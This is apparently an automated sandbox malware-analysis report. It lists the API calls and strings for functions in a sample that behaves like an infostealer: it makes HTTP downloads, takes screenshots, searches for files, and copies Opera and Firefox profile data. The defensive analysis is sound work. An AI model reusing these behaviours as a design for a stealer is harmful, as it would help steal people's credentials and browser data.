Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction ID: ceb82e4e54f3846e9f94eab9f0bc1a81f9160b51cd409ffa36bf36e6f1d1d03f
Opcode Fuzzy Hash: 529ba8237f0014992bab19239517a34075ee691daa6caaefc8e8a53a834a0c09
Instruction Fuzzy Hash: 55027EB19442688BDF21CF64CC817EEBBB5AF45304F1440EAD949AB242D6389EC5CF99

Function 00406963 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 161networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
StrCmpCA.SHLWAPI(?), ref: 004069DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00406B40
InternetCloseHandle.WININET(?), ref: 00406B50
InternetCloseHandle.WININET(?), ref: 00406B5C
InternetCloseHandle.WININET(?), ref: 00406B68

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

ERROR, xrefs: 00406BAB
GET, xrefs: 00406A42
hhA, xrefs: 00406976
ERROR, xrefs: 00406AB6

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET$hhA
API String ID: 3863758870-1019273260
Opcode ID: 1dec5c7d34d4585141b5b241077a9f93a23154a041da39e02d728523565d649f
Instruction ID: b8be4e115d185e019c2f990b7d5ff4e2311a6bf9c79d427f1dbcd116f6077eb1
Opcode Fuzzy Hash: 1dec5c7d34d4585141b5b241077a9f93a23154a041da39e02d728523565d649f
Instruction Fuzzy Hash: C551ADB1A00269AFDF20EB60DC84AEEB7B9FB04304F0180B6F549B2190DA755EC59F94

Function 00411F55 Relevance: 24.1, APIs: 16, Instructions: 147windowCOMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00411F96
GetDesktopWindow.USER32 ref: 00411FA4
GetWindowRect.USER32(00000000,?), ref: 00411FB1
GetDC.USER32(00000000), ref: 00411FB8
CreateCompatibleDC.GDI32(00000000), ref: 00411FC1
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00411FD1
SelectObject.GDI32(?,00000000), ref: 00411FDE
BitBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 00411FFA
GetHGlobalFromStream.COMBASE(?,?), ref: 00412049
GlobalLock.KERNEL32(?), ref: 00412052
GlobalSize.KERNEL32(?), ref: 0041205E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00405482: lstrlenA.KERNEL32(?), ref: 00405519
Part of subcall function 00405482: StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
Part of subcall function 00405482: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA

SelectObject.GDI32(?,?), ref: 004120BC
DeleteObject.GDI32(?), ref: 004120D7
DeleteObject.GDI32(?), ref: 004120E0
ReleaseDC.USER32(00000000,00000000), ref: 004120E8
CloseWindow.USER32(00000000), ref: 004120EF

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: GlobalObject$CreateWindow$CompatibleDeleteSelectStreamlstrcpy$BitmapCloseDesktopFromInternetLockOpenRectReleaseSizelstrlen
String ID:
API String ID: 2610876673-0
Opcode ID: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction ID: c1d95bee058df7d0eb72bc71505ae5be25a1286d1fed2c65958a37403167da66
Opcode Fuzzy Hash: 785c2575682d8d340d2f67ba17a8d5b3d83946c3163a7e1a1560ca7ccc0c905a
Instruction Fuzzy Hash: A251EA72800218AFDF15EFA1ED498EE7FBAFF08315F145425F901E2120E7369A55DB61

Function 00401D80 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 529fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

FindFirstFileA.KERNEL32(?,?,0043AA64,0043AA68,004369EE,004369EB,00417A18,?,00000000), ref: 00401FA4
StrCmpCA.SHLWAPI(?,0043AA6C), ref: 00401FD7
StrCmpCA.SHLWAPI(?,0043AA70), ref: 00401FF1
FindFirstFileA.KERNEL32(?,?,0043AA74,0043AA78,?,0043AA7C,004369EF), ref: 004020DD
CopyFileA.KERNEL32(?,?,00000001), ref: 004022C3

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

DeleteFileA.KERNEL32(?), ref: 00402336
FindNextFileA.KERNEL32(?,?), ref: 004023A2
FindClose.KERNEL32(?), ref: 004023B6
CopyFileA.KERNEL32(?,?,00000001), ref: 004025DC

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040264F

Part of subcall function 00416FA7: Sleep.KERNEL32(000003E8,?,?), ref: 0041700E

FindNextFileA.KERNEL32(?,?), ref: 004026C6
FindClose.KERNEL32(?), ref: 004026DA

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Strings

\*.*, xrefs: 00401E9E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CopyCreateDeleteFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 1475085387-1173974218
Opcode ID: dbc9c42cc116f20805c39137913628541fc3833159004567a67bc6b1f21b8684
Instruction ID: 6e187b3dd7c688dd3e2975bf598ceb31540ecf4cce5f896a17779636691c6a6b
Opcode Fuzzy Hash: dbc9c42cc116f20805c39137913628541fc3833159004567a67bc6b1f21b8684
Instruction Fuzzy Hash: 1A320E71A401299BCF21FB25DD4A6CD7375AF04308F5100EAB548B71A1DBB8AFC98F98

Function 0041543D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 140stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041546A
FindFirstFileA.KERNEL32(?,?), ref: 00415481
StrCmpCA.SHLWAPI(?,00436A80), ref: 004154A2
StrCmpCA.SHLWAPI(?,00436A84), ref: 004154BC
lstrcatA.KERNEL32(?), ref: 0041550D
lstrcatA.KERNEL32(?), ref: 00415520
lstrcatA.KERNEL32(?,?), ref: 00415534
lstrcatA.KERNEL32(?,?), ref: 00415547
lstrcatA.KERNEL32(?,00436A88), ref: 00415559
lstrcatA.KERNEL32(?,?), ref: 0041556D

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 00415623
FindClose.KERNEL32(?), ref: 00415637

Strings

%s\%s, xrefs: 0041545E

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Find$CloseCreate$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitlstrcpywsprintf
String ID: %s\%s
API String ID: 1150833511-4073750446
Opcode ID: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction ID: 497a639e9f9bed764e2b609cea13bbac8422ccb0898e6bf0b5073c566259866f
Opcode Fuzzy Hash: 64224958b159b6d22f10ba55480620843db225054c2a355b86054d57ffa9fb44
Instruction Fuzzy Hash: 4F515FB190021C9BCF64DF60CC89AC9B7BDAB48305F1044E6E609E3250EB369B85CF65

Function 0040BF4D Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 420fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,0043682E,0040CC6B,?,?), ref: 0040BFC5
StrCmpCA.SHLWAPI(?,00437470), ref: 0040BFE5
StrCmpCA.SHLWAPI(?,00437474), ref: 0040BFFF
StrCmpCA.SHLWAPI(?,Opera,00436843,00436842,00436837,00436836,00436833,00436832,0043682F), ref: 0040C08B
StrCmpCA.SHLWAPI(?,Opera GX), ref: 0040C099
StrCmpCA.SHLWAPI(?,Opera Crypto), ref: 0040C0A7

Strings

\*.*, xrefs: 0040BF73
Opera, xrefs: 0040C083
Opera GX, xrefs: 0040C091
Opera Crypto, xrefs: 0040C09F

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Opera$Opera Crypto$Opera GX$\*.*
API String ID: 2567437900-1710495004
Opcode ID: cb02eaf34686393eca99c01ebfa7c9f7bf3a8cb10dedbad8c0d8dba7fa238fbf
Instruction ID: 0260d5c266de210f65568f4b73986d2e2321fdcb1199aff99a3b39d86c03169e
Opcode Fuzzy Hash: cb02eaf34686393eca99c01ebfa7c9f7bf3a8cb10dedbad8c0d8dba7fa238fbf
Instruction Fuzzy Hash: F4021C71A401299BCF21FB26DD466CD7775AF14308F4111EAB948B3192DBB86FC98F88

Function 00415142 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 146stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsA.KERNEL32(00000064,?), ref: 004151C2
_memset.LIBCMT ref: 004151E5
GetDriveTypeA.KERNEL32(?), ref: 004151EE
lstrcpyA.KERNEL32(?,?), ref: 0041520E
lstrcpyA.KERNEL32(?,?), ref: 00415229

Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414D1C
Part of subcall function 00414CC8: FindFirstFileA.KERNEL32(?,?), ref: 00414D33
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D4F
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414D60
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DC2
Part of subcall function 00414CC8: StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
Part of subcall function 00414CC8: wsprintfA.USER32 ref: 00414DFF
Part of subcall function 00414CC8: _memset.LIBCMT ref: 00414E28
Part of subcall function 00414CC8: lstrcatA.KERNEL32(?,?), ref: 00414E3D

lstrcpyA.KERNEL32(?,00000000), ref: 0041524A
lstrlenA.KERNEL32(?), ref: 004152C4

Strings

%DRIVE_REMOVABLE%, xrefs: 00415215
%DRIVE_FIXED%, xrefs: 00415230
*%DRIVE_FIXED%*, xrefs: 0041515E
*%DRIVE_REMOVABLE%*, xrefs: 0041518F

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$lstrcpywsprintf$Drive$FileFindFirstLogicalStringsTypelstrcatlstrlen
String ID: %DRIVE_FIXED%$%DRIVE_REMOVABLE%$*%DRIVE_FIXED%*$*%DRIVE_REMOVABLE%*
API String ID: 441469471-147700698
Opcode ID: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction ID: ea4f15970c6a5d4b45be7a2176528fb80d3ae30a0f48c86a9c416c7322ab13a3
Opcode Fuzzy Hash: c9d42909db418974abad73dc19fd428f4d65fc45d37dbb9aa4a689193fe46e70
Instruction Fuzzy Hash: 3C512CB190021CAFDF219FA1CC85BDA7BB9FB05304F1041AAEA49A7111EB355E89CF59

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3028708376.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.3028708376.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction ID: 52904dbdec7a8812f0d6252b7ecd21146621a6019d038770ccdf13318407303e
Opcode Fuzzy Hash: bfb07b7c417370cc65cdf3c113b30ca7fb62479600deee231d6f3beb901ab667
Instruction Fuzzy Hash: D3A10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

